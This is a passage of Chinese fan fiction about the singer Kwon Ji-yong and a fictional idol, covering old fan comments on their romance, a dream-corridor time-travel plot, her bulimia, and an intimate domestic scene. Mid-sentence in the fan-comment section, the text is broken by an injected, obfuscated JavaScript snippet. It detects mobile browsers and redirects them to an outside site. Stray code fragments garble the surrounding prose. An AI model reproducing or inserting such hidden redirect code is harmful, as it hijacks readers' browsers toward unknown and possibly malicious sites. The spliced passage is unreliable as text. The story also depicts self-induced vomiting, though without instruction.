式,所以龙每次都送她最喜欢的口味过来。” 呵,一个蛋糕而已,物资匮乏的韩国人! 吉如心正要叉掉,却看到了第二个评论:“nonono~本来没有这个仪式,这个仪式是权龙送蛋糕过 去,经纪人不给吃,权龙当着摄像机的面现场杜撰的,没人敢反抗他,他直接挖了一块塞妹嘴里 了,这个仪式就是那天之后才开始的~~权龙喂了一口经纪人姐姐没收了叉子kkk,然后镜头挪开 了,但是你看镜子里反射,权龙在用手指头挖蛋糕给妹吃~老天爷谁能想到这个时候还没谈 啊!!!!!” 吉如心瞳孔地震:没谈?!!??你他妈的管这个叫没谈?!! 她不想看了,但是,鼠标却不由自主的往下滑,这个视频下俨然很多人和她一样大受震撼,于是装 死数年的龙月粉们开始疯狂安利: “我不信,没谈的男人手指头敢往我嘴里伸我一定咬断!” “呵~~这种算什么,07年有人爆料在脊骨汤店打工,看到一男一女,女生捂着嘴男生用手指在她嘴 里摸,女生一直在叫说好疼,然后社长出来道歉才知道里面有个很尖的碎骨头没处理好弄伤了女孩 子嘴巴,男生一直在低声骂人说女孩子吃饭不懂看清楚肉和骨头是没脑子小狗,女生一个劲儿‘阿 尼阿尼阿尼不是小狗’特别可爱,男生就一直笑说她就是小狗还狗叫逗她,结果把女生气哭了,男 生马上就慌了,又是道歉又用餐巾纸拧成玫瑰花哄她,当时还以为是情侣,结果结账的时候发现男 生是GD女生是Alice,当时还上了韩国论坛热帖kkkk” “我曾经坚定觉得这俩会结婚……谁知道现在……” “你们以为我们CP粉日子好过,巴黎见面合影这种零碎料我们以前都是不屑一顾的……现在大吃特 吃还泪流满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15206732|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面……” “这俩人09年才正式交往的,据称是在庆功宴上确认关系的,我记得是谁说漏嘴……然后上了新闻 之后撤的热搜,还辟谣了,可惜除了蒙眼的唯粉0人相信……权志龙前几天还因为那个抄袭事件面 无人色,没两天满面春风,整天嘴咧颧骨上,还整了个Alice的周边娃娃说当幸运符天天抱着走,这他妈不是纯爱只能是恐怖片了……” “还不恐怖片吗……权龙跟男鬼有什么区别?妹和xxx传绯闻的时候这个哥直接sns头像背景全黑,粉丝都怕他想不开……” “楼上别搞笑,男鬼也不耽误他跟别的女人传绯闻是吧,明月21年吊威亚差点摔伤,这个哥出新闻 当天晚上还在夜店high呢,过期糖也嗑不怕给自己毒死。” “大家互传绯闻又有什么要紧呢,不要紧的,我会永远凝视他们……永远……就算结婚我也信他们会离了出轨,顺便指路伟大同人文‘逆行’,我永远爱背德!!永远……” “龙月神文千千万,可惜当年是贴吧时代,不然怎么也能在某L占据一席之地……” “呜呜呜呜呜我哭得好大声,呜呜呜呜呜妈妈你看到了吗我的CP复活了呜呜呜……” “这对算社内公开?” “回楼上,这对算球内公开,对,地球内公开。” “笑死,这俩人分手了之后强行装不熟装了好几年,一合影俩人裤衩子都被扒掉了。” “可恨当年网络不发达……不然铁证如山我要投屏到万达去!!” “分手闹得要死要活,见面还能装的体面就不错了……唉,要是妹妹还在歪鸡就好了,他们就得分 手了也要在家族con上卖给我们看了……” “操,好香好带劲儿,楼上,你写文给我们看,我就要看这个梗。” “龙月……我人生中第一对骨科CP。” “骨科?!!?!!” “我日你别误导新人啊……没有骨科啊!!只是龙和月很小年纪就一起生活所以戏称骨科啊我日, 这两个人绝对没有血缘关系!!” “放屁,没有血缘关系凭什么眉眼那么像!” “亲嘴亲太多了,细胞交换太多了,还能咋,不然真失散多年,发现是骨科才分手?” “都好带劲儿,你们多聊,我爱看。” 我!不!爱!看!! 吉如心愤怒的叉掉了这个视频,她心乱如麻,直接关掉了视频,眼不见为净。 当然,大数据不会放过任何一个人。 吉如心被迫看到了太多被剪辑过的,配着各种BGM的权志龙和江留月的过去,她看到他们在炎热的 夏日跑到乡下去摸鱼,权志龙蹲在岸边满脸都是惊恐,江留月拿着个小龙虾到处甩,看到下雨天权 志龙倾斜的雨伞和被雨淋湿的肩膀,江留月的卡通手绳在他打伞的手腕上晃荡;看到权志龙睡眼惺 忪的在路边买烤红薯的粉丝偷拍,下一秒是结束训练的江留月满头是汗的蹲在舞蹈杆下面啃着烤红 薯,脸颊鼓鼓的像是小仓鼠;看到他们私下聚餐的时候权志龙蹲下来给她系鞋带,江留月在他的注 视下喝酒,小脸皱巴成一团权志龙一边笑一边摸她的头发;看到演唱会乱哄哄的后台,权志龙给江 留月拉上周边外套的拉链,说‘玩的开心,塔伊’;看到各大颁奖典礼上,他们任何一方站在领奖 台上时,台下的那个人都红了眼眶努力为对方鼓掌;看到衣香鬓影的聚会上,他们偷偷地看对方, 然后偷偷地笑;看到江留月生病的时候,权志龙站在护士站借热水,穿着黑白三叶草的拖鞋潦草的 白T恤,就像是任何一对普通情侣里焦心又邋遢的男朋友…… 粉丝们给这些视频配《恨海情天》,配《青春》、配《冷》、配《Bad》,也配《不完美小孩》,配《追光者》,配《唯一》,配《爱人》,配所有热门的冷门的歌曲,推荐的同人文里也有各种各 样的耳熟能详的词牌名,像是什么《无人区玫瑰》《生长痛》《花吐症》《斯德哥尔摩情人》《富 士山下》《洛希极限》,吉如心还看到一个《电子爱丽丝会梦到长得像龙的疯帽子吗》,也许他们 相爱的时间太早了,甚至还有《夫妻相性一百问》,吉如心点开一个,发现当时的粉丝竟然真的很 了解他们,做的有模有样,让她都感觉到错乱了。 “十二年……” 吉如心揉着眉心,喃喃自语:“原来这个时间,竟然那么长啊。” 时间也许很容易抹去痕迹。 但,时间要怎么抹去时间的痕迹呢? 吉如心没有答案,她选择不参与这个命题,捂着耳朵继续当江留月的制作人和最好的朋友。 如果她没有鬼使神差的点开一个视频的话。 这个视频大概是粉丝偷拍的,能看出来设备已经提升很多,相对高清了,但因为是偷拍,所以视角 有些混乱。 这是Bigbang在日本巨蛋巡的庆功宴结束之后,大家都喝得不少,江留月也喝了,她应该是喝醉 了,闹着不肯上车,一开始还避嫌,是助理姐姐和化妆师试图把她抱上车,她极力反抗,哼哼唧唧 的说自己不舒服,痛,被扯就使出牛劲挣脱,最后一屁股坐在地上不肯动了。 然后权志龙突然出现了,他也喝了不少,步伐略微踉跄,保镖在旁边生怕他摔了,权志龙摆了摆手 示意没事儿,他走到江留月面前,几乎是毫不犹豫的半跪下,双手从江留月的腋下穿过,把人像是 抱小孩一样的往怀里搂,然后自己借力“嘿咻”一下把人给搂得站了起来。 他自己喝了酒,站得也不稳当,两个人差点都摔了,保镖和助理们吓得魂飞魄散去扶住,很多人的 手碰到了江留月,这可能让她感到不安,她呜呜的叫喊:“妈妈!!妈妈!!!” 权志龙挥手让他们都走开,扒掉了放在江留月身上的手,把她搂在怀里,视频就算很抖,也能看出 来他自己也有点困得眼睛睁不开,他将下巴放在江留月的头顶,把怀里的人努力的抱紧又抱紧,因 为喝醉,他的声音也有点控制不住音量。 他抱着江留月说:“塔伊,妈妈在这里,妈妈在这里。” 他含含糊糊的又说:“不要怕,妈妈在这,哥哥在这。” 江留月伸出一只手摸他的脸,真是乱摸,从下巴一直摸到额头,摸了一会儿人也不扑腾了,只是依 然喊:“妈妈,我头痛,妈妈。” “不痛,不痛。”权志龙闭着眼睛,基本是用本能在说话:“我们回家,塔伊,我们回家。” 保镖们和助理们扶着这两个人往外走,后面的对话几乎听不到了,但前面这些还能勉强听清,这个 视频大约是搬运的,搬运的Up主配上了字幕。 这个视频下的评论就更混乱了,有的觉得听的不像,有的觉得可能翻译有问题,但吉如心却没有心思看。 她只是忽然想到了一个事情。 那是江留月的庆功宴,她喝多了,吐了两次吐的胃都空了,吉如心和金优只好带她去医院打吊水, 可能是药水太冷了,她一直想把那个输液管拔掉,最后实在没办法,护士小姐只好将她一只手用束 缚带绑住。 金优去跟公司的人打电话,吉如心守在床边,江留月半梦半醒的喊疼,她先是用中文喊了两声,然 后忽然变成了韩语,她用韩语叫妈妈,叫疼,吉如心听不太懂,只能模糊猜测,手忙脚乱的安抚 她。 江留月反反复复重复着几句韩语直到药效上来,慢慢睡去。 吉如心怕她说的是什么隐私,也不敢问别人,这会儿倒是有了答案。 江留月当时一边哭一边说的,就是这两句话:“妈妈,哥哥,我要回家。” 吉如心关掉视频很久,直到平板黑屏,才看到自己流泪了的脸。 她从那之后,心里头就揣着心事儿,揣着一句话,直到今天,才问出了口。 江留月没有说话。 夜风吹过,她的头发飞扬起来,掠过吉如心搭在车窗上的手指,吉如心抬起头,看到江留月的表 情。 她很难用悲伤、寂寞、难过、怀念或者什么词语形容江留月的表情。 她只是觉得心碎。 然后不由自主的流泪了。 “怎么哭了啊。” 江留月伸手从车窗过来给她擦眼泪:“我都没哭呢。” 吉如心止不住的哽咽,她没办法将自己看到的那些视频里的江留月从脑海中抹去。 人人都说你是从痛苦中解脱了,明月。 可为什么过去的你看起来是那么的幸福呢。 “因为幸福是我的麻醉剂呀。” 江留月轻声道,吉如心这才发现自己把话问出口了。 她有点惊慌和被抓包的心虚,但江留月似乎并不介意,她反而用开玩笑的口吻说道:“所以,痛苦也很幸福,幸福也很痛苦……听起来像是悖论吧,但我就是过着这样的人生……这大概是什么宿命 吧。” 江留月垂下睫毛,笑了一下。 一阵风吹过,像是一声隐隐约约的叹息: “我认命了。” 65.宿命论(下) 65.宿命论 (下) “……吵架了?” 权志龙以为自己听错了。 他用一种难以言喻的表情看着镜子里的‘自己’,几乎要有点口吃:“你说谁吵架了?谁和谁?” 镜子里面,那个年轻的自己,露出了片刻的羞窘,然后有些恼羞成怒的瞪向权志龙: “又不是我想吵所以才吵的,是那孩子完全不听劝啊!” 权志龙被自己干沉默了。 他想张嘴问你干了什么,张嘴的时候却问不出来。 他让年轻的自己进去梦游廊的房间,是让他去看看自己过去干了什么好事儿的,而这位,是在梦游 廊的房间里,跟过去的江留月的记忆碎片吵架吗? 哦,听这个意思,不仅是吵架,显然,他还试图‘劝说和教导’江留月。 权志龙真不知道以前的自己有那么惹人烦。 人想要倔强和自我到这个程度,也是很不容易的。 大约是未来的自己漫长的沉默刺激到了年轻人的自尊心,‘权志龙’逐渐开始不自在起来:“所 以……所以我就是想问啊……要怎么道歉啊。” 他嘀嘀咕咕的说道:“那孩子现在不肯跟我说话了。” 随着房间的一个个打开,时间已经推至2013年的夏日,在这段时间里,权志龙带领团队在日本进行 宣传,江留月则留在了韩国,两个人大约一周会根据各自的行程选择在首尔或东京见面。 也是在这段相比较之前日夜相伴来说聚少离多的日子里,江留月身上发生了权志龙不愿意看到的变 化。 她在催吐。 尽管权志龙也确实在2013年因为江留月破损的嘴角和沙哑的喉咙推断出她在催吐,并通过专业医生 的介入和潜移默化的影响让她最终停止了这种损伤身体的行为,但权志龙其实并没有真的目睹过催 吐。 因此在房间里目睹江留月吐得最后都是掺着血丝的苦水的时候,他半是因为惊吓半是因为心痛的和江留月争执了起来。 当然,最初,并不是争执,他只是尽量柔和的爱抚她的情绪,柔声细语的劝诫她不要做这种伤害自 己事情,但,因为江留月的油盐不进和对自己身材过度的焦虑,权志龙的情绪也不受控制了。 他不明白,江留月已经足够漂亮了,她的身材比起皮包骨的模特们相比可能丰腴一些,但绝对在正 常人里属于很瘦的类型了,只是因为她骨架小,所以视觉上可能比实际体重显得更圆润一些。 但有什么不好呢? YG本身不是苛求女艺人身材和容貌的地方,他作为恋人也从未对江留月的身材表达过任何不满,事 实上,他还很迷恋把脸埋在她柔软的小腹,她软软的手臂挂在他脖子上的时候,尤其是手掌陷入奶 油一样的肌肤里的触感,他简直是上瘾的。 他发誓自己在面对江留月的时候,从来嘴里都是溢美之词,每一句赞美的话,都是他的真情流露。 生理性的喜欢是最藏不住的,只要江留月出现在他身边,他的眼睛就是会忍不住跟随她,他的嘴角总是带着笑容。 他手机里江留月的照片何止成千上万张,尤其是在日本,因为手机设定不能关闭快门声,江留月蹲 在花园那喂个流浪猫,就听见她哥手机噼里啪啦的响得跟要炸了一样。 他还要怎么表达自己的喜欢,自己的迷恋,才能阻止江留月对自己莫名其妙的苛求呢? “你又不是专业的模特,为什么非要对标模特的身材呢?你这孩子……简直是疯了。”权志龙一边 给她冲蜂蜜水一边恶狠狠的说道:“你跟模特比身材,跟大满贯歌手比成绩,跟制作人比创作,跟 青龙奖演员比演技……你…你怎么不跟电线杆比身高,跟路上的蚂蚁比腰细?” 他将蜂蜜水推到江留月旁边,江留月恹恹的看了一眼就把脸扭开了。 “呀,快喝下去!!” 权志龙看着她病殃殃的样子就烦躁,语气也凶巴巴起来:“你看看你把自己搞成什么样子,为什么 要这样对自己?” “你发生了什么吗?塔伊,谁跟你说了什么吗?” 这真是个不解之谜。 权志龙就算是之前也没想通过,他是发现了江留月心理状态不对且开始催吐,于是立刻求助了专业 的心理医生,但心理医生给的建议是这种轻度的病态可以通过引导来自我纠正,因此并没有带江留 月去正儿八经的看医生,自然也不知这种行为的起因。 他忧心忡忡的坐在江留月身边看着她,试图去跟她沟通,但江留月却很抗拒的瞥了他一眼,然后就 闭上眼睛开始装死。 “……没什么好说的,是我自己的问题,我嘴巴很馋,所以摄入了过高的热量,作为艺人,我放纵 了自己,就得付出新的代价才行。” “嘴巴馋……?”权志龙露出了有些匪夷所思的表情:“你……不是,塔伊啊,你只是正常吃饭 吧。” 江留月睁开了眼睛,看向权志龙,然后说道:“哥哥,你难道不知道,女艺人是没有正常吃饭的权 利的吗?” “……谁说的,你给我好好吃饭啊,你这样……你这样,权志龙不管吗?” 实在是词穷,权志龙只好搬出2013年的自己来当武器。 江留月很慢的吐出一口气。 她要怎么跟眼前这个幽灵哥哥说清楚呢。 就是因为权志龙管,就是因为她哥总是让她吃饱饭,一起吃饭的时候总是要盯着她吃好,她才会比同时期的热门女艺人们都看着要胖一些,不自律一些呢? YG比起别的公司对艺人的管理其实宽松很多,别的公司的女艺人们一天只能吃一颗鹌鹑蛋的时候, 江留月正跟着哥哥们吃紫菜包饭喝牛肉汤,年轻人代谢高,艺人舞台消耗大,倒是没怎么长肉,但 只要停止宣传期工作,人就要肉眼可见的胖一些。 这个胖也只是针对模特和女艺人标准的胖,毕竟上镜胖三分,模特和女艺人们的正常身材都是很不 健康的,而江留月面对的情况,显然更复杂一些。 首先就是她歌手成绩不算出色但那张脸蛋实在非常突出,身上是有长期代言和定期封面杂志拍摄 的,其次就是她和权志龙这社内公开的恋爱,让她稍微长点肉就要被怀疑是不是怀孕了。 这种荒谬的猜测带着让她非常不适的审视,不管对方是开玩笑还是认真,是无心还是有意,她都十 分抗拒对方揣测自己的隐私生活。 江留月当然可以通过自律饮食和加强锻炼来减肥,但她这种体重再减其实就不健康了,她稍微掉点 肉,在离开她三四天之后回来的权志龙眼里头就跟瘦脱相差不多,非要带她吃好吃的补一补。 “哥,我真的不能再胖了。” 江留月试图跟权志龙沟通。 “你哪里胖了,塔伊,你再瘦下去要出问题了,呀,臭丫头,你最好在哥不在的时候也好好吃饭, 不然哥真的要生气了。” 当然,沟通是不可能有效的。 权志龙比起她的事业更在乎她的健康,但江留月急需在自己的事业里找到重心,在发现自己在歌手 这条路上走不通之后,她美丽的脸蛋和符合当下白幼瘦审美的身材成了她自信心的来源。 她体重掉得越厉害,权志龙越焦躁的盯着她吃饭,他甚至开始疑神疑鬼,总觉得他去日本的时候江 留月在韩国没有被好好照顾。 权志龙找人盯著江留月吃饭,江留月只好表演一个吃完,然后自己找地方抠喉咙吐出来。 “……你真心的吗,塔伊?” 得知江留月催吐竟然只是为了上镜好看,为了迎合大众审美,权志龙气得头晕目眩,他说话的语气 也严厉起来:“什么照片什么封面能比你的健康重要?催吐甚至会毁了你的嗓子,你真的知道自己在干什么吗?” “哪里不重要了?!”江留月比他还激动,她本来苍白的脸颊上浮现病态的红晕:“只要瘦5斤, 拍出来的封面的好评就会多10倍,但是哪怕多胖1斤,恶评就会多20倍,哥哥你又不是艺人,你怎 么会理解我?!” “我……” 权志龙此时不过是个永远不被记住长相的幽灵,自然不能脱口而出我怎么不是艺人这句话,他差点 被哽住,几乎是下意识脱口而出:“所以为什么在意那些恶评呢……你就算不去拍封面也没问题 吧,当然是你的健康更重要啊,就算不要那些代言,不要那些广告,难道权志龙会不管你吗?” “交往之后权志龙就把黑卡的副卡给你了吧,你想要的东西,不管是珠宝还是绝版的收藏品,眼睛 也不眨的就会卖给你,衣服包包就更不用说……塔伊,你到底想要什么,才要这样折磨自己也想得 到?” 江留月靠在沙发上,她又瘦又苍白,整个人躺在上面,沙发甚至都没怎么凹陷下去。 她像是漂浮在云朵以上,有一种恍惚脆弱的美。 沉默片刻之后,江留月说: “你也觉得我很贪心吗?” “明明什么都有了,名声、地位、金钱……还有愿意为我付出一切,很爱很爱我的男朋友,我应该 满足,但是,我却不满足。” “我还是想往上爬,我想要代言继续挂在自己身上,我想要出完整的专辑,我想要明洞那里一直挂 着我的海报……” “真是贪心啊,真是不知足啊,真是贪得无厌啊。” “只是为了几十亿韩币的代言费,为什么不撒个娇跟GD说呢,只是想要保住杂志封面的地位,那个 主编不就是GD的粉丝吗?只要撒娇,只要开口,志龙他什么都能给你……”江留月掰着手指头历数自己听到的那些话:“为什么非要这样虐待自己的身体,受这种罪,志龙他已经很辛苦了,还要担 心你,是因为你害怕他忘记你吗?是因为你想吸引志龙的注意力吗?是因为你想用这种方式让他心 疼你所以更爱你的手段吗?” 她越是往后说,语气就是越是尖利,声音也有些颤抖。 她的眼眶有些发红,但是一滴眼泪也没掉,而是用一种权志龙很陌生的,带着点决绝和狠毒语气的 说道:“我厌恶这种,要伸手乞讨的生活。” “对象是谁都不行,我不要过这种等待别人施舍的生活。” “握在我手里的代言才是我的,标着我名字的才是我的,挂在外面的海报是我的,我要署名权,我 要自己银行账户里的数字,”她恶狠狠的看着权志龙,眼珠里是漆黑的火焰:“这些和权志龙有什 么关系?” 权志龙被狠狠的刺痛了。 他也不知自己哪来的惶恐和慌乱,密密麻麻的刺痛了他,他几乎是慌不择路的开口:“可是,你不 是要成为他的妻子吗?你的人生怎么会和他没有关系呢?” 江留月猛然怔了一下。 她低头思考和沉默的这两三秒,权志龙的手心渗透了汗水,他声音有些颤抖的问道:“塔伊,你不 爱他了吗?你……你不是说要给他当妻子吗?” “夫妻之间其实是要沟通的对不对,你不要这么武断的切割,你和他说说看嘛,他一定会听,会改 的。” 江留月抬起头,她黑白分明的眼珠子直勾勾的看着权志龙。 这种审视的冷漠的眼神看的权志龙头皮发麻。 他不知道为什么结巴了起来:“塔伊,你、你想想看嘛……志龙很爱你,你其实完全可以享受他的 资源啊,你现在吃这些苦……” 权志龙实在是说不出‘没必要’这三个字,他不懂,他不明白江留月为什么不肯用他的资源,他的 一切都可以奉献给她,这种距离感让他感到不安。 江留月歪着头,看着他,慢慢的开口了: “……哥哥,你现在说话,跟志龙哥一模一样。” “跟那些人也一模一样。” “你以前不是这样的。” 权志龙心里头咯噔一下,他抬起头只看到江留月带着厌烦和敌意的眼神,她平静的发出自己的质 问: “真奇怪,你不是说,会永远站在我这边吗?” “志龙不管你吗?志龙不知道吗?志龙不会伤心吗?你这样的话,志龙会生气吧。” “……你也是权志龙那边的人了。” “叛徒。” 江留月说完这句话之后,眼睛里已经蓄满了泪花,她狠狠地瞪了一眼权志龙,然后转身返回了自己 的房间,把门用力的关上了。 那杯蜂蜜水放在那,她一口都没喝。 从那之后,权志龙又去了两个房间,但江留月却生气了,她不再跟他讲话,任凭他怎么道歉,她都 生硬的别开头。 这两个房间分别发生在2013年的9月和11月,一次是江留月去东京和权志龙去游乐场玩被发现,公 司骂了他们一顿,江留月情绪低迷,一次是11月他们搬入了位于江南的大平层,江留月的情绪明显 稳定了很多,人也看着活泼开朗了一些,只是看到他就冷哼一声把脸别开,怎么看都是在闹别扭。 权志龙很后悔,他试图重新进入一次那个房间重开,但重新进入之后,江留月也记得之前发生了什 么,只是将这个事情自动理解为‘之前发生的事情’,在尝试过很多办法之后,权志龙发现,没有 打开的房间只剩下最后一个了。 他不敢进去,直觉告诉他,这个房间大概会发生什么很了不得的事情,他不能用这样和江留月吵架 冷战的状态进去。 所以,他厚着脸皮找上了正代替他在2014年生活的未来的自己。 “……等等。” 但显然,未来的权志龙关注点不在这里,他有些愕然的看着年轻的自己:“你是说……塔伊她记得 之前房间发生的事情?她有和你之间连续的记忆?……而且你在进入2013年搬家那个房间之后…… 还有一个房间?” “……怎么了?” “完全不对。”尽管披着2014年权志龙的外壳,‘权志龙’的眉宇之间也陡然出现了不符合年纪的 气场,整个人看起来都严肃凝重:“我每次进入房间,塔伊的记忆都会刷新,她根本记不住和我之 间发生了什么,每个房间里的她都只有属于‘原本’的记忆,而且……” 自从和2014年的自己交换过身体之后,‘权志龙’就无法打开任何一个2014年之后的房间了,他能 打开的最后一个房间,就是2013年11月的房间。 很显然,2014年的权志龙在梦游廊遭遇的一切和他完全不同,甚至他能打开的房间也多了一个。 ‘权志龙’回忆了一下那个房间,然后他的表情彻底的沉寂了下去。 那个房间,属于2014年2月。 他只进入过一次,就再也不敢进入了。 “……你说话呀,而且什么?” 他的沉默让年轻的权志龙心中感到不安,他也说不出为什么不安,只是莫名的感到恐慌。 “没什么。” ‘权志龙’深呼吸了几下来调节情绪:“我大概能知道,梦游廊到底是什么了,只是还需要一些佐 证……这个佐证,不如就让你来给我答案好了。” 他不知道为何,看着年轻的自己脸上那有些茫然的样子,笑了一下。 “去吧。” “答案就在最后一个房间。” 只是。 你要如何面对答案呢? 为什么不爱我,为什么怨恨我,为什么只是一次争吵,我们12年来牢不可破的关系就这样轻易的碎 掉了。 为什么可以八年不见面,为什么能当陌生人,为什么无数个痛苦的夜晚,她甚至不肯来梦里看你。 我无数次问过这个问题,我问过塔伊,她用平静的缄默回答我,她看起来是那么的绝情,那么的冷 漠,那么的满不在乎,陌生的让我害怕。 我因此怨恨她。 我没有办法不怨恨她。 我们是什么能轻易断掉的关系吗?我们是什么随便就能分开的关系吗? 塔伊,你是怎么能看到流着泪跪在那里哀求你不要离开的我,也露出冷淡的表情,一次次碾碎我的 心的? 你怎么可以这样对我……? 在八年的时间里,将我要折磨得发疯的答案。 ……你要如何面对呢。 权志龙? 即便两个人是同一个人,年轻的权志龙也无法真的读懂对方口中的答案是什么意思,他鼓足勇气推 开了最后一道门。 眼前是熟悉的场景。 房间里烧着充足的暖气,工作桌上的电脑开着,公放着《bad》,江留月穿着毛茸茸的薄毛衣和软 软的长裤半躺在沙发上,低着头一边跟着音乐哼歌一边在玩手机,黑色的柔软发丝没有扎起来,松松的垂在脑后。 她看起来心情不错,一边玩手机一边脸上带着笑意,因此并没有察觉到权志龙的出现,权志龙走近 了一些到她身后,发现江留月是在玩游戏。 他看到屏幕上眼熟的标识和场景,下意识的“啊”了一下。 这一下,江留月被吓了一跳,抬起头看到是他,又愣了一下,然后气鼓鼓的别开了脸,自己拿着手 机迅速在沙发掉了个头,变成脚丫子对着他。 权志龙无可奈何,只好凑过去做低伏小:“塔伊,不要生我的气了,好不好。” 江留月冷哼一声,又翻了个身,背对着他玩游戏,权志龙没有一点办法,只好拖了一把椅子坐下, 看着她玩。 这是一款发行于2013年圣诞节的经营模拟游戏,叫做《甜蜜家园》,玩家可以在里面选择身份,然 后打工赚钱购买房产,还可以在里面和别的玩家进行社交,简单来说是一个手机版本的《模拟人 生》。 这款游戏有趣的点在于,是由韩国的游戏开发公司制作的,里面的场景取材于首尔,玩家打工的公 司,居住的社区,需要购买食物的超市等等,更是照搬了现实中的公司,因此代入感极强。 江留月十分沉迷这款游戏,刚发行那天就开始玩,两三天之后权志龙就被迫入坑,一周之后凡事她 熟识的人都被拉了进去,她又氪又肝,很快在游戏里买起了自己的小豪宅。 这款游戏自由度很高,每个职业都做的很精细,权志龙在里面选择了商人作为自己的职业,江留月 则是个漫画家,两个人的日常任务完全不一样,就连想在游戏相遇,都需要通过任务解锁相关区 域。 江留月正逢休息期,肝得要命,一天能玩五六个小时,为了跟上她的节奏,权志龙只好使用氪金大 法,即便如此,很多任务也不能跳过——比如他们结婚的钻戒的钻石是需要亲自去矿山开采的,想 要好看点的款式还需要将首饰工匠的好感度刷到65%以上等等。 权志龙对这种模拟经营游戏的兴趣很快被繁复的日常给折磨没了,他不懂江留月怎么那么喜欢这款 游戏,但看她玩的高兴,也只能苦哈哈的作陪。 如今看到这款游戏的界面,权志龙都还觉得有些眼花:由于手机游戏本身的限制性,这款游戏采用 了半像素风,色彩鲜艳又饱和度极高,又丑又扎眼。 “塔伊啊,你的眼睛会受不了的。” 他干巴巴的试图跟江留月搭话,但显然并无成效,江留月依然乐此不疲的在公园里帮人捡羽毛球。 要是自己还是权志龙的身份,权志龙必然会直接拿走她的手机让她休息,但他现在不是,所以只能 干巴巴的看着。 江留月总算捡了100个球,换来了一个彩色的羽毛球,她兴奋到发出一声“YES!”,然后匆匆忙忙 的往游戏里的家赶去。 权志龙看到那丑了吧唧的别墅,不由得眉头抽搐,下一秒,他又看到一个头上写着‘幸江’的穿着 和服的小女孩正在摇篮里吃手,旁边是一个骑着小木马晃悠的小男孩,头顶上的名字写着的 是‘Eden’。 啊。 想起来了。 这个游戏不仅可以社交,还可以结婚,结婚之后共同做任务便可以提升亲密度,然后选择生育孩 子。 玩这个游戏一个月的时候,他们得到了第一个小孩,因为血统外貌随机生成,所以当时看到那个出 场自带金发碧的娃娃的时候,权志龙和江留月都傻眼了。 江留月一番狂笑之后,给孩子取名为Eden,而权志龙十分不满小男孩的身份,难得主动疯狂做任务 刷满了二胎指标,喜迎一个出场自带和服的小女孩,两个人对视一眼,都倍感荒谬的狂笑起来。 好在,至少是权志龙心心念念的小女儿,因此他自告奋勇取名为幸江。 此时的Eden已经在游戏里四岁了,可以触发基本对话,他先是接过了江留月操控的角色给他的彩色 羽毛球,然后自己动手将羽毛球挂在了摇篮上方。 幸江挥舞着小手,头上不断冒出心形泡泡。 Eden:妹妹也很喜欢,我们一起分享快乐。 Eden:妈妈,我好开心。 江留月一边笑一边点手机上‘抚摸’的按钮,游戏角色伸手抚摸Eden的头,Eden的幸福度显示在增 加。 Eden:等爸爸回来了,我可以和他一起玩羽毛球的游戏。 Eden的头上多了一个任务图标。 江留月操控角色去碰,发现这个任务是需要权志龙那个角色才能触发的,她立刻截图,然后转发给 在外面拍摄的权志龙。 Alice:志龙哥,今天要刷日常,Eden的敏捷还差数值,这样会影响他幼儿园入学评估的! 很快对方就有了回信,权志龙回了个OK的卖萌表情包。 江留月笑了一下,开始进行日常任务,她在这个房子里需要整理收纳打扫卫生,处理邻居送来的礼 物也要给邻居送礼物,然后还有一些琐碎的小游戏来获得道具。 那两个小孩子NPC也比想象中的花时间,大约十五分钟就会刷新状态,玩家如果一直在房子里活 动,就会一直收到需求,比如说换尿布、饿了、热了,想要玩具,需要对话等等。 “……为什么那么喜欢啊。” 看着她玩了半个小时,权志龙眼睛都有些酸了,敢怒不敢言的嘀咕道。 一边这样说着,他一边看着江留月被手机照得有些青白的小脸,这时候的江留月已经在心理医生的 介入下摆脱了催吐的恶习,脸上稍微长了一点点肉,精神状态看着也不错,他看着看着,心里头又 莫名的涌现不安。 这种感觉很难说出来为什么出现,明明眼前的一切看起来一如往常,甚至透着一种静谧的温馨。 是的,虽然‘他’作为幽灵哥哥和江留月冷战了,现实中,他们的感情却一直在升温,尤其是在同 居之后,简直是过上了蜜里调油的生活,江留月身体大为好转,整个人也不紧绷了,如果不去工 作,她就会一直待在两个人的家里面,就连自己的小公寓都很少回了。 权志龙休息的时候,两个人就昏天黑地的混在一起,像是每一对新婚小夫妻一样一刻也舍不得分开,权志龙坐在地毯上在客厅茶几旁写歌词,江留月靠在他肩膀上玩游戏,有时候她的头发不听话 的散下来落在权志龙脸颊上蹭的他痒痒的,他丢下铅笔去吻她,江留月哼哼唧唧不愿意,他就一边 亲她一边说好喜欢她。 “塔伊,跟哥哥结婚好不好。” 他一边亲她一边胡言乱语:“我们明天就结婚好不好。” 江留月被他亲得一个劲儿缩脖子,逐渐拿不住手机,很小声的说不要这样,现在才下午,权志龙逗 她不要哪样,然后就挨猫爪子挠了再赶紧道歉,哄她说不要紧,我们现在又不在宿舍住了,我们在 自己家里,这里的密码只有我们俩的指纹,谁也进不来。 “这里很安全,塔伊,就我们两个人,所以……”权志龙哑着嗓子亲她的耳垂,又咬住那小小的莹 润的耳垂吮吸了一下:“做什么都可以哦。” 闹了一通之后江留月困得要命,两个人还在客厅的地毯上,皱巴的不像样子的沙发巾完成使命丢到角落里等待清洗,她穿着权志龙给她拿来的新睡衣,缩在他的旁边拱来拱去找舒服的位置,权志龙 则叼着烟盘腿光着上身坐着写歌词,江留月要他躺下来陪她一起睡,权志龙将烟灰弹在烟灰缸里, 大手去抚摸她的头发,捋着她的发丝,用情欲之后的沙哑声音说:“乖一点。” 他抚摸江留月额头的手腕上还残留着她的齿痕,江留月眯着眼看着那个齿痕,忽然凑上去亲了一 口。 权志龙把铅笔往桌子上一丢,怎么都写不下去了,索性将人捞起来往自己怀里塞,江留月吓得哇哇 叫,软着嗓子叫哥哥哥哥。 权志龙嗤笑着亲她,把她搂在怀里摸着她的后背,自己往地毯上一倒,揣着怀里的宝贝拍了拍屁 股,江留月的眼皮子逐渐沉重,眯着眼睛使出最后的力气去摸权志龙耳垂上的十字架坠子。 她对权志龙说,哥哥,我觉得自己好幸福,幸福的好害怕啊。 